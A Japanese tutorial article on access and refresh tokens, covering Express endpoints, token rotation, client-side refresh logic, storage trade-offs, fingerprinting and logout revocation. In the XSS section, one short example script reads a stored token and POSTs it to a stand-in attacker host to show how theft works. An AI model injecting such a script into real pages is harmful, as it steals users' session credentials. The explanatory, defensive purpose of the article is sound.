前回の記事ではJWTの構造と署名の仕組みを学びました。今回は、トークンベース認証を本番環境で運用するために不可欠な「Access Token」と「Refresh Token」の2種類のトークンを使った認証フローについて解説します。

「なぜトークンを2種類に分けるのか」「Refresh Tokenはどのように使うのか」「トークンをどこに保存すればセキュアなのか」といった疑問に対して、RFC 6749(OAuth 2.0)の仕様とOWASPのセキュリティガイドラインに基づいた技術的な裏付けとともにお答えします。

この記事を読み終えるころには、Access TokenとRefresh Tokenの役割を正確に説明でき、セキュアなトークンリフレッシュフローを設計・実装できるスキルが身についているでしょう。

Access TokenとRefresh Tokenの役割を理解する

トークンベース認証では、Access TokenとRefresh Tokenという2種類のトークンを使い分けることが一般的です。まずは、それぞれの役割と特徴を明確にしましょう。

Access Tokenとは

Access Token(アクセストークン)は、保護されたリソースにアクセスするための認証情報です。RFC 6749では以下のように定義されています。

Access tokens are credentials used to access protected resources. An access token is a string representing an authorization issued to the client.

Access Tokenの主な特徴は以下の通りです。

  • 短い有効期限: 通常15分〜1時間程度に設定します
  • リソースサーバーへの送信: APIリクエスト時にAuthorizationヘッダーに含めて送信します
  • 自己完結型(JWTの場合): トークン自体にユーザー情報や権限情報を含みます
  • 頻繁に使用: すべてのAPI呼び出しで使用されます

Refresh Tokenとは

Refresh Token(リフレッシュトークン)は、新しいAccess Tokenを取得するための認証情報です。RFC 6749では以下のように定義されています。

Refresh tokens are credentials used to obtain access tokens. Refresh tokens are issued to the client by the authorization server and are used to obtain a new access token when the current access token becomes invalid or expires.

Refresh Tokenの主な特徴は以下の通りです。

  • 長い有効期限: 数日〜数週間、場合によっては数ヶ月に設定します
  • 認可サーバーへのみ送信: リソースサーバーには送信しません
  • 機密性が高い: Access Tokenよりも厳重に保護する必要があります
  • 使用頻度が低い: Access Tokenの有効期限が切れたときにのみ使用します

なぜトークンを2種類に分けるのか

トークンを2種類に分ける理由は、セキュリティと利便性のバランスを取るためです。

トークン分離のメリット

カテゴリ メリット
セキュリティの向上 Access Tokenが漏洩しても被害は短時間に限定される、Refresh Tokenはリソースサーバーに送信されないため露出リスクが低い、トークンローテーションにより不正利用を検知できる
利便性の確保 ユーザーは頻繁に再ログインする必要がない、バックグラウンドでトークンを自動更新できる、長時間のセッションを安全に維持できる

もしAccess Tokenだけを使用した場合を考えてみましょう。

  • 有効期限を長くした場合: トークン漏洩時の被害が大きくなります
  • 有効期限を短くした場合: ユーザーが頻繁に再ログインを求められます

2種類のトークンを使い分けることで、この問題を解決できます。

Access TokenとRefresh Tokenの比較表

項目 Access Token Refresh Token
目的 リソースへのアクセス 新しいAccess Tokenの取得
有効期限 短い(15分〜1時間) 長い(数日〜数週間)
送信先 リソースサーバー 認可サーバーのみ
使用頻度 高い(毎回のAPIリクエスト) 低い(トークン更新時のみ)
漏洩時のリスク 限定的(短時間で失効) 高い(長期間悪用される可能性)
保存の厳重さ 標準的 より厳重に

トークンリフレッシュフローの設計

ここからは、Access TokenとRefresh Tokenを使った認証フローの設計について具体的に解説します。

認証フロー全体像

まず、ログインからトークンリフレッシュまでの全体的な流れを図解で確認しましょう。

sequenceDiagram
    participant Client as クライアント
    participant AuthServer as 認可サーバー
    participant ResourceServer as リソースサーバー

    Note over Client,AuthServer: 1. 初回認証(ログイン)
    Client->>AuthServer: POST /auth/login<br>{ email, password }
    Note over AuthServer: 認証情報を検証<br>トークンを発行
    AuthServer-->>Client: { access_token, refresh_token }
    Note over Client: トークンを保存

    Note over Client,ResourceServer: 2. APIアクセス
    Client->>ResourceServer: GET /api/users/me<br>Authorization: Bearer {access_token}
    Note over ResourceServer: トークンを検証<br>リソースを返却
    ResourceServer-->>Client: { user data }

    Note over Client,ResourceServer: 3. Access Token期限切れ時
    Client->>ResourceServer: GET /api/users/me<br>Authorization: Bearer {expired_access_token}
    ResourceServer-->>Client: 401 Unauthorized
    Note over Client: トークンリフレッシュを実行

    Note over Client,AuthServer: 4. トークンリフレッシュ
    Client->>AuthServer: POST /auth/refresh<br>{ refresh_token }
    Note over AuthServer: Refresh Tokenを検証<br>新トークンを発行
    AuthServer-->>Client: { new_access_token, new_refresh_token }

サーバーサイドの実装例

実際にトークンリフレッシュのエンドポイントをNode.js(Express)で実装する例を見てみましょう。

前提条件

  • Node.js 18以上
  • Express 4.x
  • jsonwebtoken パッケージ

ログインエンドポイントの実装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const express = require('express');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');

const app = express();
app.use(express.json());

// 環境変数から秘密鍵を取得(本番環境では必ず環境変数を使用)
const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET;
const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET;

// Refresh Tokenの保存用(本番環境ではRedisやDBを使用)
const refreshTokenStore = new Map();

// Access Tokenの生成(有効期限: 15分)
function generateAccessToken(user) {
  return jwt.sign(
    {
      sub: user.id,
      email: user.email,
      role: user.role,
    },
    ACCESS_TOKEN_SECRET,
    { expiresIn: '15m' }
  );
}

// Refresh Tokenの生成(有効期限: 7日)
function generateRefreshToken(user) {
  const tokenId = crypto.randomUUID();
  const token = jwt.sign(
    {
      sub: user.id,
      jti: tokenId, // トークンの一意識別子
    },
    REFRESH_TOKEN_SECRET,
    { expiresIn: '7d' }
  );
  
  // Refresh Tokenをサーバー側で保存(無効化に必要)
  refreshTokenStore.set(tokenId, {
    userId: user.id,
    createdAt: new Date(),
    isRevoked: false,
  });
  
  return token;
}

// ログインエンドポイント
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body;
  
  // ユーザー認証(実際はDBから取得して検証)
  const user = await authenticateUser(email, password);
  
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  const accessToken = generateAccessToken(user);
  const refreshToken = generateRefreshToken(user);
  
  res.json({
    access_token: accessToken,
    refresh_token: refreshToken,
    token_type: 'Bearer',
    expires_in: 900, // 15分 = 900秒
  });
});

トークンリフレッシュエンドポイントの実装

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// トークンリフレッシュエンドポイント
app.post('/auth/refresh', async (req, res) => {
  const { refresh_token } = req.body;
  
  if (!refresh_token) {
    return res.status(400).json({ error: 'Refresh token is required' });
  }
  
  try {
    // Refresh Tokenを検証
    const decoded = jwt.verify(refresh_token, REFRESH_TOKEN_SECRET);
    
    // サーバー側でトークンの状態を確認
    const tokenData = refreshTokenStore.get(decoded.jti);
    
    if (!tokenData) {
      return res.status(401).json({ error: 'Invalid refresh token' });
    }
    
    if (tokenData.isRevoked) {
      // 無効化されたトークンが使用された場合
      // セキュリティ上の理由で、そのユーザーの全トークンを無効化することも検討
      return res.status(401).json({ error: 'Refresh token has been revoked' });
    }
    
    // ユーザー情報を取得
    const user = await getUserById(decoded.sub);
    
    if (!user) {
      return res.status(401).json({ error: 'User not found' });
    }
    
    // 古いRefresh Tokenを無効化(トークンローテーション)
    tokenData.isRevoked = true;
    
    // 新しいトークンペアを生成
    const newAccessToken = generateAccessToken(user);
    const newRefreshToken = generateRefreshToken(user);
    
    res.json({
      access_token: newAccessToken,
      refresh_token: newRefreshToken,
      token_type: 'Bearer',
      expires_in: 900,
    });
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Refresh token has expired' });
    }
    return res.status(401).json({ error: 'Invalid refresh token' });
  }
});

トークンローテーションの重要性

上記の実装では「トークンローテーション」を採用しています。これは、Refresh Tokenを使用するたびに新しいRefresh Tokenを発行し、古いものを無効化する方式です。

トークンローテーションの仕組み

ケース 説明
正常なケース 1. ユーザーがRefresh Token Aでリフレッシュを要求 → 2. サーバーがRefresh Token Aを無効化 → 3. サーバーが新しいRefresh Token Bを発行 → 4. 以降はRefresh Token Bのみが有効
攻撃検知のケース 1. 攻撃者がRefresh Token Aを窃取 → 2. 正規ユーザーがRefresh Token Aでリフレッシュ(Token Bが発行される) → 3. 攻撃者が無効化されたToken Aでリフレッシュを試みる → 4. サーバーが不正アクセスを検知(全トークンを無効化)

トークンローテーションにより、Refresh Tokenが漏洩した場合でも被害を最小限に抑えられます。

クライアントサイドの実装例

次に、フロントエンド(JavaScript)でのトークン管理とリフレッシュの実装例を紹介します。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// トークン管理クラス
class TokenManager {
  constructor() {
    this.accessToken = null;
    this.refreshToken = null;
    this.isRefreshing = false;
    this.refreshSubscribers = [];
  }
  
  // ログイン処理
  async login(email, password) {
    const response = await fetch('/auth/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
    });
    
    if (!response.ok) {
      throw new Error('Login failed');
    }
    
    const data = await response.json();
    this.setTokens(data.access_token, data.refresh_token);
    return data;
  }
  
  // トークンの保存
  setTokens(accessToken, refreshToken) {
    this.accessToken = accessToken;
    this.refreshToken = refreshToken;
    // 永続化が必要な場合はsessionStorageに保存
    sessionStorage.setItem('access_token', accessToken);
    sessionStorage.setItem('refresh_token', refreshToken);
  }
  
  // トークンリフレッシュ処理
  async refreshTokens() {
    // 既にリフレッシュ中の場合は待機
    if (this.isRefreshing) {
      return new Promise((resolve) => {
        this.refreshSubscribers.push(resolve);
      });
    }
    
    this.isRefreshing = true;
    
    try {
      const response = await fetch('/auth/refresh', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ refresh_token: this.refreshToken }),
      });
      
      if (!response.ok) {
        throw new Error('Token refresh failed');
      }
      
      const data = await response.json();
      this.setTokens(data.access_token, data.refresh_token);
      
      // 待機中のリクエストに新しいトークンを通知
      this.refreshSubscribers.forEach((callback) => callback(data.access_token));
      this.refreshSubscribers = [];
      
      return data.access_token;
    } finally {
      this.isRefreshing = false;
    }
  }
  
  // 認証付きfetch
  async authFetch(url, options = {}) {
    const headers = {
      ...options.headers,
      'Authorization': `Bearer ${this.accessToken}`,
    };
    
    let response = await fetch(url, { ...options, headers });
    
    // 401エラーの場合、トークンをリフレッシュして再試行
    if (response.status === 401) {
      try {
        const newAccessToken = await this.refreshTokens();
        headers['Authorization'] = `Bearer ${newAccessToken}`;
        response = await fetch(url, { ...options, headers });
      } catch (error) {
        // リフレッシュ失敗時はログアウト処理
        this.logout();
        throw error;
      }
    }
    
    return response;
  }
  
  // ログアウト処理
  logout() {
    this.accessToken = null;
    this.refreshToken = null;
    sessionStorage.removeItem('access_token');
    sessionStorage.removeItem('refresh_token');
    // ログイン画面にリダイレクトなど
  }
}

// 使用例
const tokenManager = new TokenManager();

// APIリクエスト
async function fetchUserProfile() {
  const response = await tokenManager.authFetch('/api/users/me');
  return response.json();
}

トークンの安全な保存場所を選ぶ

トークンをクライアント側でどこに保存するかは、セキュリティ上の重要な判断ポイントです。主な選択肢として「Cookie」と「localStorage / sessionStorage」があります。

保存場所の選択肢と特徴

保存場所 メリット デメリット
localStorage / sessionStorage JavaScriptから簡単にアクセスできる、クロスオリジンリクエスト時も扱いやすい、localStorage: ブラウザを閉じても永続化される XSS攻撃で窃取される可能性がある、JavaScriptから常にアクセス可能
Cookie(HttpOnly属性付き) HttpOnly属性でJavaScriptからのアクセスを防止、Secure属性でHTTPS通信時のみ送信、SameSite属性でCSRF攻撃を軽減 CSRF攻撃対策が別途必要、クロスオリジンリクエスト時の設定が複雑、サイズ制限がある(約4KB)

XSS攻撃とトークン窃取のリスク

localStorage / sessionStorageに保存されたトークンは、XSS(クロスサイトスクリプティング)攻撃により窃取される可能性があります。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// XSS攻撃の例(悪意のあるスクリプトがページに注入された場合)
// 攻撃者は以下のようにトークンを窃取できる

const stolenToken = localStorage.getItem('access_token');
// または
const stolenToken = sessionStorage.getItem('access_token');

// 窃取したトークンを攻撃者のサーバーに送信
fetch('https://attacker.example.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken }),
});

一方、HttpOnly属性が設定されたCookieは、JavaScriptからアクセスできないため、XSS攻撃によるトークン窃取を防止できます。

CSRF攻撃とCookieのリスク

Cookieに保存されたトークンは、CSRF(クロスサイトリクエストフォージェリ)攻撃のリスクがあります。Cookieはブラウザが自動的に送信するため、悪意のあるサイトからのリクエストでもCookieが付与される可能性があります。

この問題に対しては、以下の対策を組み合わせます。

  1. SameSite属性の設定: SameSite=StrictまたはSameSite=Laxを設定
  2. CSRFトークンの使用: 状態を変更するリクエストにはCSRFトークンを要求
  3. カスタムヘッダーの使用: Authorizationヘッダーでトークンを送信

OWASPの推奨事項

OWASP(Open Web Application Security Project)のJWT Cheat Sheetでは、以下のアプローチを推奨しています。

  1. sessionStorageを使用: タブを閉じると自動的にクリアされる
  2. フィンガープリントを追加: トークンにユーザーコンテキストを含める
  3. Content Security Policyの設定: XSS攻撃の影響を軽減
flowchart TB
    subgraph TokenStorage["トークン保存"]
        AT["Access Token → sessionStorage"]
        Send["リフレッシュ時にAuthorizationヘッダーで送信"]
    end
    
    subgraph Fingerprint["フィンガープリントの追加"]
        FP1["ランダムな文字列をHttpOnly Cookieとして送信"]
        FP2["そのハッシュ値をトークンに含める"]
        FP3["トークン検証時に両方を確認"]
    end
    
    subgraph SecurityHeaders["セキュリティヘッダー"]
        CSP["Content-Security-Policy: XSSの影響を軽減"]
        HSTS["Strict-Transport-Security: HTTPS強制"]
    end
    
    TokenStorage --> Fingerprint
    Fingerprint --> SecurityHeaders

推奨される保存方法のパターン

用途やセキュリティ要件に応じて、以下のパターンから選択することを推奨します。

パターン1: sessionStorage + フィンガープリント(推奨)

最もバランスの取れたアプローチです。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// サーバー側(レスポンス)
// 1. ランダムなフィンガープリントを生成
const fingerprint = crypto.randomBytes(32).toString('hex');

// 2. フィンガープリントのハッシュをトークンに含める
const fingerprintHash = crypto
  .createHash('sha256')
  .update(fingerprint)
  .digest('hex');

const accessToken = jwt.sign(
  { sub: userId, fingerprint: fingerprintHash },
  ACCESS_TOKEN_SECRET,
  { expiresIn: '15m' }
);

// 3. フィンガープリントをHttpOnly Cookieで送信
res.cookie('__Secure-Fgp', fingerprint, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 15 * 60 * 1000, // 15分
});

res.json({ access_token: accessToken });
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// クライアント側
// トークンはsessionStorageに保存
sessionStorage.setItem('access_token', accessToken);

// APIリクエスト時はAuthorizationヘッダーで送信
// フィンガープリントCookieは自動的に送信される
fetch('/api/protected', {
  headers: {
    'Authorization': `Bearer ${sessionStorage.getItem('access_token')}`,
  },
  credentials: 'include', // Cookieを含める
});
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// サーバー側(トークン検証)
function verifyTokenWithFingerprint(req) {
  const token = req.headers.authorization?.split(' ')[1];
  const fingerprint = req.cookies['__Secure-Fgp'];
  
  if (!token || !fingerprint) {
    throw new Error('Missing token or fingerprint');
  }
  
  const decoded = jwt.verify(token, ACCESS_TOKEN_SECRET);
  
  // フィンガープリントの検証
  const fingerprintHash = crypto
    .createHash('sha256')
    .update(fingerprint)
    .digest('hex');
  
  if (decoded.fingerprint !== fingerprintHash) {
    throw new Error('Invalid fingerprint');
  }
  
  return decoded;
}

パターン2: HttpOnly Cookie(サーバーサイドレンダリング向け)

サーバーサイドレンダリングを使用するアプリケーションに適しています。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// サーバー側(トークン発行)
res.cookie('access_token', accessToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 15 * 60 * 1000,
  path: '/',
});

res.cookie('refresh_token', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 7 * 24 * 60 * 60 * 1000, // 7日
  path: '/auth/refresh', // リフレッシュエンドポイントのみで使用
});

この方式では、CSRFトークンを併用することが必須です。

保存場所の選択フローチャート

flowchart TD
    A["SPAアプリケーション?"] -->|はい| B["パターン1<br>sessionStorage + フィンガープリント"]
    A -->|いいえ| C["パターン2<br>HttpOnly Cookie + CSRFトークン"]
    
    B --> B1["XSS対策としてCSPを設定"]
    B --> B2["フィンガープリントで保護を強化"]
    
    C --> C1["SSRアプリケーション向け"]

トークンの有効期限設計

トークンの有効期限は、セキュリティと利便性のバランスを考慮して設計する必要があります。

推奨される有効期限の設定

トークン種別 推奨有効期限 備考
Access Token 15分〜1時間 高セキュリティ: 15分、一般的なWebアプリ: 30分〜1時間
Refresh Token 1日〜30日 高セキュリティ: 1日〜7日、一般的なWebアプリ: 7日〜14日、「ログイン状態を維持」オプション: 30日程度
絶対的なセッションタイムアウト 8時間〜24時間 Refresh Tokenが有効でも強制的に再認証を要求

アイドルタイムアウトの実装

ユーザーが一定時間操作しなかった場合にセッションを終了する「アイドルタイムアウト」も重要です。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// アイドルタイムアウトの実装例
class SessionManager {
  constructor(idleTimeoutMinutes = 30) {
    this.idleTimeout = idleTimeoutMinutes * 60 * 1000;
    this.lastActivity = Date.now();
    
    // ユーザーの操作を監視
    ['click', 'keypress', 'scroll', 'mousemove'].forEach(event => {
      document.addEventListener(event, () => this.resetIdleTimer());
    });
    
    // 定期的にアイドル状態をチェック
    setInterval(() => this.checkIdleStatus(), 60000);
  }
  
  resetIdleTimer() {
    this.lastActivity = Date.now();
  }
  
  checkIdleStatus() {
    const idleTime = Date.now() - this.lastActivity;
    
    if (idleTime > this.idleTimeout) {
      // セッションを終了してログアウト
      this.logout();
      alert('セッションがタイムアウトしました。再度ログインしてください。');
    } else if (idleTime > this.idleTimeout - 5 * 60 * 1000) {
      // タイムアウト5分前に警告
      this.showTimeoutWarning();
    }
  }
  
  logout() {
    // トークンをクリアしてログイン画面にリダイレクト
    sessionStorage.clear();
    window.location.href = '/login';
  }
  
  showTimeoutWarning() {
    // セッション延長の確認ダイアログを表示
    if (confirm('まもなくセッションがタイムアウトします。延長しますか?')) {
      this.resetIdleTimer();
      // 必要に応じてトークンをリフレッシュ
    }
  }
}

ログアウトとトークン無効化

JWTはステートレスなため、サーバー側でトークンを「無効化」することは本来できません。しかし、セキュリティ上の理由から、ログアウト時にはトークンを無効化する仕組みが必要です。

トークン無効化の実装パターン

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// サーバー側:トークンブロックリストの実装
const revokedTokens = new Set(); // 本番環境ではRedisを使用

// トークン無効化
function revokeToken(tokenId) {
  revokedTokens.add(tokenId);
}

// トークン検証時にブロックリストを確認
function verifyToken(token) {
  const decoded = jwt.verify(token, ACCESS_TOKEN_SECRET);
  
  if (revokedTokens.has(decoded.jti)) {
    throw new Error('Token has been revoked');
  }
  
  return decoded;
}

// ログアウトエンドポイント
app.post('/auth/logout', authenticateToken, async (req, res) => {
  const tokenId = req.user.jti;
  
  // Access Tokenを無効化
  revokeToken(tokenId);
  
  // Refresh Tokenも無効化
  const refreshTokenData = refreshTokenStore.get(req.body.refresh_token_id);
  if (refreshTokenData) {
    refreshTokenData.isRevoked = true;
  }
  
  res.json({ message: 'Logged out successfully' });
});

クライアント側のログアウト処理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
async function logout() {
  try {
    // サーバーにログアウトを通知
    await fetch('/auth/logout', {
      method: 'POST',
      headers: {
        'Authorization': `Bearer ${sessionStorage.getItem('access_token')}`,
        'Content-Type': 'application/json',
      },
    });
  } catch (error) {
    console.error('Logout request failed:', error);
  } finally {
    // ローカルのトークンをクリア
    sessionStorage.removeItem('access_token');
    sessionStorage.removeItem('refresh_token');
    
    // ログイン画面にリダイレクト
    window.location.href = '/login';
  }
}

まとめ

この記事では、Access TokenとRefresh Tokenによる認証フローの実装について解説しました。

重要なポイントを振り返りましょう。

  • Access Token: 短い有効期限(15分〜1時間)で、リソースアクセスに使用
  • Refresh Token: 長い有効期限で、新しいAccess Tokenの取得に使用
  • トークンローテーション: Refresh Token使用時に新しいトークンを発行し、古いものを無効化
  • 保存場所: sessionStorage + フィンガープリント、またはHttpOnly Cookieを推奨
  • セキュリティ対策: XSS対策(CSP)、CSRF対策(SameSite Cookie)を必ず実施

トークンベース認証は正しく実装すれば強力なセキュリティを提供しますが、設計ミスはセキュリティホールにつながります。この記事で紹介したベストプラクティスを参考に、安全な認証システムを構築してください。

次回の記事では、「同一オリジンポリシーとCORSの仕組み」について解説します。フロントエンドとバックエンドが分離した現代のWeb開発では避けて通れないトピックです。

参考リンク